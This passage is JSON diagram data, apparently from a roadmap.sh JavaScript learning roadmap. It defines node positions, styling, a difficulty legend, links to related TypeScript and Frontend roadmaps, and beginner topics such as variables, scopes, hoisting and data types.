\"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 72\n      }\n    },\n    {\n      \"id\": \"WRMo2Zwtiar8b-40FntG6\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 345.5025092677304,\n        \"y\": -10.269570629170403\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"13pndno5JSKQQaRHPTWdC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 72,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 72\n      },\n      \"positionAbsolute\": {\n        \"x\": 345.5025092677304,\n        \"y\": -10.269570629170403\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 72\n      }\n    },\n    {\n      \"id\": \"bV3JIUCFixDt8-D7HDfxc\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 433.0025092677304,\n        \"y\": 0.23042937082959725\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"WRMo2Zwtiar8b-40FntG6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 72,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 72\n      },\n      \"positionAbsolute\": {\n        \"x\": 433.0025092677304,\n        \"y\": 0.23042937082959725\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 72\n      }\n    },\n    {\n      \"id\": \"13pndno5JSKQQaRHPTWdC\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 272.0025092677304,\n        \"y\": -10.269570629170403\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 72,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 72\n      },\n      \"positionAbsolute\": {\n        \"x\": 272.0025092677304,\n        \"y\": -10.269570629170403\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 72\n      }\n    },\n    {\n      \"width\": 173,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -91.45968546864998,\n        \"y\": -155.26957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -91.45968546864998,\n        \"y\": -155.26957062917046\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 64,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -15.45968546864998,\n        \"y\": -230.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -15.45968546864998,\n        \"y\": -230.76957062917046\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 64\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 64\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 364,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 364,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 364,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 340,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 340,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 340,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xwpc_KxehAruFM0pCQnie\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -145.62877362673999,\n        \"y\": 2526.9010423312407\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        },\n        \"oldId\": \"Ju00mr0KLGN2BV6yEQGPt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": -145.62877362673999,\n        \"y\": 2526.9010423312407\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 473,\n      \"height\": 118,\n      \"id\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -349.9596854686499,\n        \"y\": 2436.385077050813\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Have a look at the following related roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"sVXZrBCsiSzWBBYWTm-nQ\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -349.9596854686499,\n        \"y\": 2436.385077050813\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 473,\n        \"height\": 118\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 473,\n        \"height\": 118\n      }\n    },\n    {\n      \"width\": 127,\n      \"height\": 49,\n      \"id\": \"ZSrQoNGKiR484uALMWO9F\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -124.2816601458129,\n        \"y\": 2495.0743589624644\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript\",\n        \"href\": \"https://roadmap.sh/typescript\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"dlGf3ZdFXYx0Z6Viu2x-l\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -124.2816601458129,\n        \"y\": 2495.0743589624644\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 116,\n      \"height\": 49,\n      \"id\": \"P5IZjP0g1_fnvHy3YTR4q\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -338.2816601458129,\n        \"y\": 2495.0743589624644\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frontend\",\n        \"href\": \"https://roadmap.sh/frontend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"dlGf3ZdFXYx0Z6Viu2x-l\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -338.2816601458129,\n        \"y\": 2495.0743589624644\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YD5y17K5nqmWaBwYcufZO\",\n      \"type\": \"legend\",\n      \"position\": {\n        \"x\": -522.3080206821377,\n        \"y\": -232.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"legends\": [\n          {\n            \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n            \"color\": \"#38761d\",\n            \"label\": \"Beginner Topics / start with these\"\n          },\n          {\n            \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n            \"label\": \"Intermediate Topics / pick these next\",\n            \"color\": \"#9900ff\"\n          },\n          {\n            \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n            \"label\": \"Advanced Topics / pick these at last\",\n            \"color\": \"#000\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 349,\n      \"height\": 124,\n      \"positionAbsolute\": {\n        \"x\": -522.3080206821377,\n        \"y\": -232.76957062917046\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 349,\n        \"height\": 124\n      }\n    },\n    {\n      \"id\": \"6khAD6mzZ9S96JJuC5_j6\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -126.95968546864998,\n        \"y\": 75.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Introduction to JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        },\n        \"oldId\": \"ADarwihuI2nBq1C3U7-Zr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -126.95968546864998,\n        \"y\": 75.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UBB-8hUcwo4Mfd0cmEcdA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -465.4974907322696,\n        \"y\": 4.230429370829597\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"positionAbsolute\": {\n        \"x\": -465.4974907322696,\n        \"y\": 4.230429370829597\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l-GKzcsBNA0r6Jax8hwnP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -465.4974907322696,\n        \"y\": 57.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"History of JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"positionAbsolute\": {\n        \"x\": -465.4974907322696,\n        \"y\": 57.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SFPsWnVpZBAw3_re7op4h\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -465.4974907322696,\n        \"y\": 110.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript Versions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"positionAbsolute\": {\n        \"x\": -465.4974907322696,\n        \"y\": 110.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uXsWIUUxtc4H_iRx3uZv0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -465.4974907322696,\n        \"y\": 163.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"How to run JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -465.4974907322696,\n        \"y\": 163.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BqbAWt--Guqex-rrb4ZUv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 245.50250926773037,\n        \"y\": 43.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Variable Declarations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 245.50250926773037,\n        \"y\": 43.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Lb5jLF91WO5V5CWpifciW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 245.50250926773037,\n        \"y\": 96.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hoisting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 245.50250926773037,\n        \"y\": 96.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HfieG3v3wnmpZDfNwEJvZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 245.50250926773037,\n        \"y\": 149.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Variable Naming Rules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 245.50250926773037,\n        \"y\": 149.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7iMJuaB7yKlSIbT4dBe5L\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 245.50250926773037,\n        \"y\": 202.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Variable Scopes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 245.50250926773037,\n        \"y\": 202.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JSjeM8qnBg4onXq9mn5gB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 242.50250926773037,\n        \"y\": -28.769570629170403\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"var\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 242.50250926773037,\n        \"y\": -28.769570629170403\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kDRa9G3pMp0Cb0mqYUawM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 323.5025092677304,\n        \"y\": -28.769570629170403\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"let\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 323.5025092677304,\n        \"y\": -28.769570629170403\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"q85z6x1Lc-yLWepwtIT2_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 399.5025092677304,\n        \"y\": -28.769570629170403\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"const\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 88,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 399.5025092677304,\n        \"y\": -28.769570629170403\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 88,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uqEzHYx13Y2EpvTTRzykn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 245.00250926773037,\n        \"y\": 267.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Block\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 245.00250926773037,\n        \"y\": 267.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YMT7O6lrMSMtNo0EnmsnQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 319.0025092677304,\n        \"y\": 267.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Function\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 319.0025092677304,\n        \"y\": 267.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oC4o6GLEES_nUgCJu9Q6I\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 413.0025092677304,\n        \"y\": 267.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Global\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 413.0025092677304,\n        \"y\": 267.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kvActjpU4FUJdrmuFoFEe\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -126.95968546864998,\n        \"y\": 129.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"All about Variables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        },\n        \"oldId\": \"ADarwihuI2nBq1C3U7-Zr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -126.95968546864998,\n        \"y\": 129.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-jbPPuEXacBR0d0CWPHgd\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -214.62877362673987,\n        \"y\": 400.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        },\n        \"oldId\": \"ADarwihuI2nBq1C3U7-Zr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -214.62877362673987,\n        \"y\": 400.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1RcwBHU3jzx0YxxUGZic4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -511.23327447982547,\n        \"y\": 303.23042937082954\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"string\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -511.23327447982547,\n        \"y\": 303.23042937082954\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZLs0NKM0lrnOy5ATDhlk0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -407.4974907322696,\n        \"y\": 303.23042937082954\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"undefined\",\n        \"style\": {\n          \"fontSize\": 17,\n          